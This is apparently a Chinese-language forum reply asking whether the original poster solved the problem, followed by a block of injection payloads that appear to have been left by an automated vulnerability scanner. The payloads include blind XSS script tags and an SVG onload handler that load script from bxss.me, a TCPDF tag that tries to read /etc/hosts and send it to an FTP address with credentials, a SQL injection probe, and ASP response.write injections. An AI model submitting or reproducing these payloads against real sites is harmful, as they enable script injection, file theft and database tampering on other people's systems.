同问，楼主解决了吗？

1'>"><script src=http://bxss.me/s?u=013439&r=61-1861&h=61-ad808-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,013439,61-1861,61,ad808,%22%5D"/>

-1 OR 2+858-858-1=0+0+0+1 --

1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=013439&r=61-1860&h=61-ad808-2&/).slice(2),document.documentElement.appendChild(s))//'>

iIam488j

1

1

"+response.write(9677203*9732985)+"

'+response.write(9677203*9732985)+'

response.write(9677203*9732985)

1